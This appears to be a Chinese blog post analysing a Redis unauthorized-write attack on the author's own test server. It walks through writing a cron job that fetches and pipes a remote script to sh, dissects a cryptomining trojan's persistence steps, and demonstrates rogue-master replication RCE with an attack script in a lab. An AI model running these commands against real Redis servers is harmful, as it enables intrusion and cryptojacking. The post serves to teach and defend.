對一次 redis 未授權寫入攻擊的分析以及學習

来源:https://www.cnblogs.com/aishangJava/archive/2019/07/29/11261775.html
-Advertisement-
Play Games

前段時間自己使用 redis 開發的時候,搞了一個 docker ,然後直接開放連接沒有密碼,其實一開始我就知道會被黑產掃到然後給我種馬,但是把因為也是測試服務,其實也沒怎麼上心,於是就放任自由了,結果第二天果然收到了一份新鮮的木馬。然後簡單對其入侵做了一個分析,結果發現沒有能攻擊成功,但是既然木馬 ...


前段時間自己使用 redis 開發的時候,搞了一個 docker ,然後直接開放連接沒有密碼,其實一開始我就知道會被黑產掃到然後給我種馬,但是把因為也是測試服務,其實也沒怎麼上心,於是就放任自由了,結果第二天果然收到了一份新鮮的木馬。然後簡單對其入侵做了一個分析,結果發現沒有能攻擊成功,但是既然木馬在了就簡單看看吧。

0X01 簡單回顧一下 redis 攻擊的過程

1.攻擊條件

(1)空密碼並且允許外部直接連接

註:這一點其實有很多細節

因為在 3.2 以後有了保護模式,保護模式的作用就是在沒有設置密碼 並且 沒有配置 bind 地址的時候強行只允許本機連接,但是對於綁定地址或者是配置過密碼的服務來講這一項可以忽略。

另外還有一個誤區就是這個綁定地址不是綁定外部的地址,而是綁定自己伺服器的允許作為與外部進行連接的 IP 地址,比如綁定自己伺服器的外網 IP,或者綁定 127.0.0.1 或者綁定 0.0.0.0 ,這個綁定 0.0.0.0 就是綁定了自己伺服器全部的 ip 地址(伺服器可以有很多的 ip ,比如內網 ip 、迴環 ip、外網 IP 等 ),因此其實對於一般的伺服器來說,綁定自己的外網 ip 和直接綁定 0.0.0.0 是沒區別的,不設置密碼的情況下去綁定外網 ip 起不到任何的保護作用,返回會因為綁定了地址讓保護模式失效遭受攻擊。

說一句題外話就是:想要安全的話設置了空密碼就要綁定內網地址,否則就老老實實設置密碼

(2)使用 root 許可權啟動 redis

高許可權用戶啟動的程式擁有和啟動該程式用戶一樣的許可權,這大大有利於攻擊者在控制了 redis 之後藉助這種高許可權去修改高許可權配置文件來完成攻擊(不過現在高版本的 redis 啟動預設都是 redis 許可權了而不是原來的 root 許可權)

(3)redis 在沒有保護措施的情況下也沒有修改預設埠

預設埠是 6379 ,很容易被掃到

(4)補充

Ubuntu 下執行 crontab 使用的是 sh , 而 sh 軟連接的是dash ,而不是 bash,那麼如果你直接在 cron 裡面寫 bash - i xx 的反彈是不可能成功的,解決方法有兩種,一種就是使用 Python 調用 /bin/sh 反彈 shell ,還有一種可以嘗試寫 sh 文件,然後用 cron 去執行

2.攻擊利用的機制

redis 的攻擊主要是利用 redis 的持久化存儲 RDB 或者 AOF(預設不開啟),所謂持久化就是一種快照機制,用來後期恢複數據。比如 RDB 可以在一定的條件下將當前記憶體的數存儲進一個 dump.rdb 文件中,如果下次想恢復這個數據的話,就需要將這個文件放在 redis 的快照保存目錄下,替換當前的 dump.rdb 再次重啟這樣就能恢複原始的數據了

觸發 RDB 的機制有以下幾種

1 在指定的時間間隔內,執行指定次數的寫操作 ———–>可以通過配置文件進行設置

2 執行save(阻塞, 只管保存快照,其他的等待) 或者是bgsave (非同步)命令 —-》手動保存

3 執行flushall 命令,清空資料庫所有數據 —->清除全部 Key 同時也會清除當前rdb

4 執行shutdown 命令,保證伺服器正常關閉且不丟失任何數據 ———->很好地保存數據不被清除

3.大概的攻擊流程

(1)修改 redis 的 rdb 文件的存放路徑為 root 用戶的 crontab 配置文件

設置 dir 到定時任務目錄

config set dir "/var/spool/cron"

設置持 rdb 文件名為root

config set dbfilename root

(2)使用 FLUSHALL 進行清除資料庫

127.0.0.1:6379> flushall  
OK

這一步主要是想清除原始 root 文件的內容,也是為了避免不必要的格式錯誤

(3)在 redis 中寫入我們的 cron 語句

127.0.0.1:6379> set test "\n*/10 * * * *  curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh\n"
OK

這裡的換行符是為了實現寫入時的格式良好,因為 cron 讀取的時候是一行一行讀取的,遇到格式不正確則丟棄

(4)強行觸發 rdb 更新

127.0.0.1:6379> save

至此我們的 cron 的數據就寫入到了 root 用戶的 cron 文件夾中了

(5)總結:

除了可以寫 cron 以外,寫一個 一句話 webshell 也是可以的,其實可以清楚地看到,redis 的成功攻擊除了依賴於 許可權配置的失誤以外,一句話 webshell 以及 cron 對格式要求的不嚴格也是一大重要因素。

0X02 再次回到這次的木馬分析

攻擊者也是一樣,直接 flushall 了我的全部的 key,然後直接給我寫一個名為 back 的 cron ,每一分鐘從他的伺服器上下載了一個腳本運行。

* * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh

-f:不輸出錯誤

-s: 靜默不輸出

-S: -s 條件下輸出錯誤

-L: 跟蹤重定向

在確定了攻擊者攻擊並沒有成功以後,我下載了木馬,然後簡單的分析了一下,看看有沒有什麼操作我沒有檢測到的。

1.看一下 main 函數整體的調用

可以說是非常的簡潔明瞭了,木馬開始運行以後依次調用了

mark() 
background()
sethosts()
checkhost()
checkzigw()
initfiles()
checkcrontab()
checkssh()
kill()
checkservice()
clean()

從函數名字大概就能知道木馬做了些什麼,應該對 crontab ssh hosts 文件都做了修改,我們來一個一個看一看。

2.mark()

簡單的創建了一條命令,並通過 sys 函數進行執行,這個命令的作用是創建一個空文件,從 mark() 這個函數名字可以猜測來這個空文件的作用可能是做為一個該木馬有沒有成功運行起來的標記

3.background()

設置進程後臺運行,並改變工作目錄為根目錄

4.checkhost()

刪除主機原始的 hosts 文件然後,重新創建空的 hosts 文件,並添加一系列的功能變數名稱指向 127.0.0.1

而這些功能變數名稱經過訪問都是一些礦池

5.checkzigw()

檢測系統中是否存在 /etc/zigw、/tmp/zigw、/etc/zjgw,這些文件,如果有的話,就結束對應的進程並且刪除對應的文件

其中:chattr -ia 這條命令是關閉可能讓文件無法刪除的屬性,具體可以看 這裡

6.initfiles()

該函數的作用主要是下載挖礦木馬,並且修改 rm ,首先是會檢測當前的許可權,如果是 root 就把木馬下載到 /etc 目錄下,如果不是 root 的話就下載到 /tmp 目錄下

root 許可權

非 root 許可權

除了下載 pdvs 以外,還下載了 httpdz 和 migrations 這兩個文件,除此之外如果是在 root 許可權下就還有一個替換系統 rm 命令的操作

rm 文件只有一個函數,既然替換了這個文件,那麼一定是非常關鍵的東西,我們來分析一下

這腳本的地址是什麼呢?看一下 curlurl 變數的交叉引用

其實下載下來就是我們最上面分析的那個 sh 文件,也就是說這裡的替換實際上是一個雙重保險

7.checkcrontab()

該函數主要是對 /var/spool/cron/root 這個文件的內容進行檢查,看看是不是有自己寫的內容,如果沒有則調用命令重新寫入

另外這裡面還使用了 chattr 這個命令對文件的額外屬性進行添加和刪除,防止文件內容被輕易修改,例如:

chattr +i 防止系統中某個關鍵文件被修改

chadttr +a 讓某個文件只能往裡面追加數據,但不能刪除

8.checkssh()

root 許可權下可執行這個函數,檢查 /root/.ssh/authorized_keys 是否存在,不存在則重新創建

9.kill()

清理自己創建的一些進程和文件

10.checkservice()

檢測自己創建的系統服務存在,如果存在則設置開機自啟,如果不存在則重新創建這個服務,服務的作用就是下載這個木馬

下圖為檢測服務裡面的內容是不是自定義的

如果是的話就添加到系統服務並開啟

如果檢測到內容已經被修改了,那麼就刪除這個服務,並重新創建

11.clean()

該函數的主要作用是刪除一些留下的痕跡,包括 history 和登錄痕跡等

0X03 利用 Redis 主從複製來 RCE

1.基本原理

該攻擊方法使用的是 Redis 中的主從複製,以及 Redis4.x 中新引入的自定義模塊載入功能。

(1)先簡單解釋一下這兩個概念

主從複製的概念:

Redis是一個使用ANSI C編寫的開源、支持網路、基於記憶體、可選持久性的鍵值對存儲資料庫。雖然 Redi s 的讀寫速度都非常快,但如果當把數據都存儲在單個Redis的實例中,供客戶端去讀取的話, 那麼很有可能會產生伺服器難以承受的讀壓力。

為了緩解這樣的壓力,主從複製這樣的機制出現了,主從模式就是指使用 一個 redis實例作為主機(master),其他實例  作為從機(slave),主機只負責寫入數據,很多的從機負責讀,這就很想我們常常說的 CDN 負載均衡的功能,如下圖所示

那麼主從複製是如何進行的呢?

我們重點關註 RDB 文件部分,我們可以發現主從複製依賴的還是我們之前經常利用的 RDB 文件,slave 與 master 的同步就和 mysql 使用 Binlog 去恢複數據是一樣的。

Redis 4.x 自定義模塊載入:

Redis從4.0版本開始加入了對外部擴展模塊的支持(其實以前在unstable的版本時 redis 就支持社區的自定義模塊了)。外部擴展模塊可以實現新的Redis命令,新的Redis數據結構,總之基本上可以做到所有Redis內核可以做的事情。

Redis模塊需要引入redismodule.h,用C、C++或其他提供C binding的開發語言實現,並編譯成動態庫.so文件。

模塊的載入方式,一種是在配置文件redis.conf中使用loadmodule /path/to/mymodule.so在Redis啟動時載入。另一種方式在運行時使用命令MODULE LOAD /path/to/mymodule.so載入。載入的模塊可以使用命令MODULE LIST查看,使用MODULE UNLOAD mymodule卸載。

載入了模塊以後我們就能直接執行我們在模塊中自定義的命令了,這是不是有點像 MYSQL 的 UDF(其實就是一個道理)

(2)將兩者配合起來

slave 能主從複製機制從 master 獲取到 rdb 文件,那麼我們是不是可以自己寫一個 “流氓伺服器” 去模擬 master 然後將我們自定義的模塊通過這種主從複製機制傳遞到 slave 上,slave 端只要將,我們傳遞來的 rdb 文件保存成一個 .so 文件然後再去進行模塊載入,我們的攻擊就完成了

2.該種利用方法的優點

使用這種攻擊方法就可以完美的解決下麵兩個問題,直接實現在目標機器上 RCE

1.高版本 redis 啟動預設是以 redis 許可權啟動的,這也就意味著,我們沒法寫 crontab(寫文件形式修改 crontab 被禁用,只能通過交互 crontab -e 進行修改,但是對我們沒有用),可以寫 redis 用戶的 ssh key,但是由於是低許可權用戶,危害較小,當然我們可以寫 webshell(前提是這台伺服器上有裝 web 服務)

2.ubuntu 伺服器實際上用 bash 反彈比較費勁,只能考慮使用 python

3.利用條件

Redis 4.x

可以遠程連接到目標 redis 伺服器

4.利用的基本步驟

其實上面我們已經說了,這裡再細化一下

(1)在目標上執行, 將自己vps設置為master: SLAVEOF vps port

(2)在目標上執行,設置一下 dbfilename 為 xxx.so 文件

(3)通過同步,將模塊文件寫到目標的磁碟上: FULLRESYNC <Z*40> 1\r\n$ \r\n (4)在目標上執行,載入模塊: MODULE LOAD /tmp/exp.so

5.利用演示

(1)下載 redis 4.0 鏡像作為受害靶機

docker pull redis:4.0

(2)交互方式運行鏡像,將 6379 埠映射到主機的 6666 埠

docker run -p 6666:6379 -it 67f7ad418fdf /bin/bash

(3)在 docker 中啟動 redis 服務

redis-server

(4)啟動以後我們可以遠程連接看一下效果

可以看到遠端成功無許可權訪問我的 redis 資料庫,並且可以插入數據

(5)在主機中 clone 攻擊腳本(從土師傅的 git 上 fork 下來添加了個 .so)

git clone https://github.com/K0rz3n/redis-rogue-server-1.git

(6)運行腳本

python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6666 --lhost xxx.xxx.xxx.xxx --lport 2333

運行腳本後靶機就會把我們的 lhost 作為 master 然後自己做為 slave 了,並且會同步數據

靶機運行效果:

流氓伺服器運行效果:

註:這裡的 127 實際上是靶機,xxx 代表的是我的 “流氓伺服器”

(7)查看現在的 redis 伺服器

可以看出來,現在的資料庫以及淪為了只讀模式的 slave

(8)執行命令


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • jQuery遍歷 - 過濾最基本的過濾方法是first(),last()和eq(),它們允許您根據元素在一組元素中的位置選擇特定元素。 其他過濾方法(如filter()和not())允許您選擇與特定條件匹配或不匹配的元素。 jQuery first()方法first()方法返回指定元素的第一個元素。 ...
  • 在進入正題之前,說一些廢話,談談對於我的前一篇文章被移出博客園首頁的想法。不談我對於其他首頁文章的看法,光從我自身找找原因。下麵分析下可能的原因: 1. 篇幅太短:我覺得篇幅不能決定文章的質量,要說清楚一個問題,肯定字數越少越好 2. 代碼過多,文字太少:Talk is cheap. Show me ...
  • 對於重覆的代碼,如果是重覆的字元串,我們會想到提出一個變數。如果是重覆的代碼塊,我們會想到提取出一個方法。 但如果這重覆的代碼塊中有一處或幾處是會變化的,那麼就沒那麼容易提取出一個方法。說起來有點抽象,下麵看一個例子。 一、分頁查詢 寫過CRUD的同學肯定寫過很多分頁查詢,分頁查詢的主要步驟是先校驗 ...
  • 舉個慄子 問題描述 模擬訪問資料庫“新增用戶”和“得到用戶”,用戶類假設只有 ID和Name 兩個欄位。 簡單實現 User SqlServerUser 測試 測試結果 存在問題 如果需要連接別的資料庫,那麼這個寫法無法擴展,下麵使用 工廠方法模式 實現 工廠方法模式實現 IUser SqlServ ...
  • [toc] 前言 Composite設計模式,將物體組合成一個樹結構,讓單個對象和組合對象使用起來都一樣,組合對象負責將實際的操作分發給每一個組件。 這篇博文分析了安卓的View相關的類,它們可以說是用了Composite設計模式。其中分析View的measure,layout,draw是如何從組合 ...
  • 零基礎java開發工程師視頻教程全套,基礎+進階+項目實戰(152G) 共130天,152G 下載地址 ...
  • 周末閑來無事,看到隔壁家的老王在和隔壁家的媳婦玩24點,就進屋看了看。發現老王是真不行啊,那不行,這也不行。 就連個24點都玩不過他媳婦,給他媳婦氣的,啥都不能滿足,這不能,那也不能。 我坐下來和他媳婦玩了兩把,那都是無出其右,把把贏! 我要走的時候,他媳婦還輓留我多玩幾把,有意思。 為了能... ...
  • 書評: 感謝作者和譯者,很好的手把手的一個新手編程體驗書,消除編程物質恐懼感,線上看的liam huang翻譯的版,不確定看的是第幾版,有一些加分題沒有做,第五十題黑手黨外星人飛船做起來有點壓力,準備轉去codeacademy / think python和a byte of python在進行一些 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...